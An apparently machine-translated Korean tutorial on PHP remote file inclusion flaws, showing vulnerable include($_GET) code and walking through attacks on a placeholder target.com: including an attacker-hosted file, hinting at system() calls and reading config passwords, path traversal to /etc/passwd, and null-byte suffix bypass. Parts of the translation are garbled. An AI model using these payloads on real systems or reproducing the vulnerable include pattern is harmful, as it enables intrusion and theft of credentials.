후배 PHP 프로그래머의 경우 아직 PHP의 보안을 완전히 파악하지 못합니다. 먼저 프로그램 취약점을 일으키는 원리를 이해해야 합니다. 아래에서는 PHP원격 파일 포함 취약점의 원인을 소개합니다.
첫 번째 질문은 '원격 파일 포함 취약점'이 무엇인가요? 간단히 대답하자면 서버는 PHP의 느슨한 임의 파일 포함 필터링을 통해 악성 파일을 실행한다는 것입니다. 이는 프로그래머의 필터링 문제입니다. 모든 CGI 프로그램에는 이러한 버그가 있다는 점을 기억하십시오.
1. PHP 원격 파일 포함 취약점 버그 찾기:
대상을 찾으려면 먼저 모든 언어에서 두 단어의 의미를 알아야 합니다. (대부분) 임의의 파일을 포함하는 방법이 있습니다. PHP에서는 include() 함수, 해당 작업 흐름을 사용합니다.
Main.PHP에 include1.PHP를 포함하면 다음과 같이 include("include1.PHP")를 작성하게 됩니다. 이유를 알아야 합니다.
먼저 이를 살펴보겠습니다. 사용자 입력이 전달되면 파일이 포함됩니다. 즉,
<ol class="dp-c"> <li class="alt"><span><span class="keyword">if</span><span> (</span><span class="vars">$_GET</span><span> <br> ) { </span></span></li> <li> <span class="keyword">include</span><span> </span><span class="vars">$_GET</span><span> <br> ; </span> </li> <li class="alt"> <span>} </span><span class="keyword">else</span><span> { </span> </li> <li> <span class="keyword">include</span><span> </span><span class="string">"home.PHP"</span><span>; </span> </li> <li class="alt"><span>} </span></li> </ol>
이러한 구조는 동적 웹사이트에서 일반적입니다. 문제는 이 [url]hxxp://www.target.com/explame.PHP?page=main.PHP[/url] 또는 [url]hxxp://www.target.com/explame.PHP를 허용한다는 것입니다. ?page=보기 위해 .PHP[/url]을 다운로드합니다. 어쨌든 프로그램에 이런 버그가 있으면 참으로 안타까운 일이 아닐 수 없습니다. 단지 필터링 문제일 뿐이지만, Script 해커가 조사한 바에 따르면 이 필터링이 문제입니다. org, 파일에 포함된 공격률은 9.4%로 우리가 주의할 만한 수준이며, 몇 년 전에도 존재했지만 오늘날에는 프로그래머들이 집단적으로 존재하고 있습니다. 아직도 예전 길을 따르고 있으니 2004년에 이런 글을 쓰는 것이 진부해졌지만, 결국 사람들에게 이익을 줄 수 있으면 불평이라고 부르지 않습니다.
2. 테스트
다음은 단 하나의 목적으로만 사용되는 원격 파일 포함의 예입니다.
<ol class="dp-xml"> <li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?</span><span class="attribute">page</span><span>=</span><span class="attribute-value">zizzy</span><span>[/url] </span></span></li> <li><span> </span></li> <li class="alt"><span>Warning: main(zizzy): failed to open stream: No such file or directory </span></li> <li><span> </span></li> <li class="alt"><span>in /var/www/htdocs/index.PHP on line 3 </span></li> <li><span> </span></li> <li class="alt"><span>Warning: main(): Failed opening 'zizzy' for inclusion </span></li> <li><span> </span></li> <li class="alt"> <span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/index.PHP on line 3 </span> </li> </ol>
PHP에서 출력되는 이러한 오류 메시지는 프로그램이 /var/www/htdocs/zizzy 파일을 포함하려고 했지만 찾을 수 없음을 알려줍니다. 해당 파일이 없습니다. 또는 디렉토리에 해당 파일이 없습니다. 이제 PHP 원격 파일에 취약점이 있다는 것을 이해하셨습니다.
3.
PHP를 사용하면 정말 좋고 원격으로 파일을 호출할 수 있습니다. 그런 다음 yeah.txt를 만들어 내 웹사이트에 게시하겠습니다. [url]hxxp : //www.mysite.com/yeah.txt.[/url]내용은 이렇습니다
<ol class="dp-c"><li class="alt"><span><span>< ? </span></span></li><li><span class="func">echo</span><span> </span><span class="string">"Wow,test!"</span><span>; </span></li><li class="alt"><span>?> </span></span></li></ol>
그럼
<ol class="dp-xml"><li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url] </span></span></li></ol>
답글 표시 Wow, test! 하면 실행됩니다. config.PHP를 읽는 것은 어렵지 않습니다. 여기에는 mysql 비밀번호가 포함되어 있습니다. yeah.txt를 작성하고 system()으로 시도해 보세요. 너무 멀리 가면 page=../../../../../../../etc /passwd를 제출하세요. . 이제 진정한 포용이 무엇을 의미하는지 알게 되었습니다.
4. 또 다른 PHP 원격 파일 포함 취약점의 원리
때때로 프로그래머들이 작성 방식을 바꿔서 이렇게 작성하여 포함 범위를 제한하는 경우도 있습니다
<ol class="dp-c"> <li class="alt"><span><span class="keyword">if</span><span> (</span><span class="vars">$_GET</span><span> <br> ) { </span></span></li> <li> <span class="keyword">include</span><span> </span><span class="string">"$_GET <br> .PHP"</span><span>; </span> </li> <li class="alt"><span>} </span></li> <li> <span class="keyword">else</span><span> </span> </li> <li class="alt"><span>{ </span></li> <li> <span class="keyword">include</span><span> </span><span class="string">"home.PHP"</span><span>; </span> </li> <li class="alt"><span>} </span></li> </ol>
<ol class="dp-xml"> <li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url] </span></span></li> <li><span> </span></li> <li class="alt"><span>Warning: main([url]hxxp://www.mysite.com/yeah.txt.PHP[/url]): failed to open stream: </span></li> <li><span> </span></li> <li class="alt"><span>hxxp request failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3 </span></li> <li><span> </span></li> <li class="alt"><span>Warning: main(): Failed opening 'hxxp://www.mysite.com/yeah.txt.PHP' for inclusion </span></li> <li><span> </span></li> <li class="alt"> <span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/explame.PHP on line 3 </span> </li> </ol>
을 제출했지만 포함에 실패했고 접미사 이름은 PHP로 제한되었으며 mysite.com의 yeah.txt는 yeah.PHP 로 변경한 다음 평소대로 실행하세요. 비밀번호는 어떻습니까?
<ol class="dp-xml"> <li class="alt"><span><span>Warning: main(../../../../../../../etc/passwd.PHP): failed to open stream: hxxp request </span></span></li> <li><span> </span></li> <li class="alt"><span>failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3 </span></li> <li><span> </span></li> <li class="alt"><span>Warning: main(): Failed opening '../../../../../../../etc/passwd.PHP' for inclusion </span></li> <li><span> </span></li> <li class="alt"> <span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/explame.PHP on line 3 </span> </li> </ol>
여기서는 NUL 문자를 사용합니다.
<ol class="dp-xml"><li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa.../etc/passwd%00[/url] </span></span></li></ol>http://www.bkjia.com/PHPjc/445831.htmlwww.bkjia.com참http: //www.bkjia.com/PHPjc/445831.htmlTechArticle후배 PHP 프로그래머들에게는 PHP의 보안을 완전히 파악할 수 없습니다. 먼저 프로그램 취약점을 일으키는 원리를 이해해야 합니다. PHP 원격 파일 패키지를 소개합니다...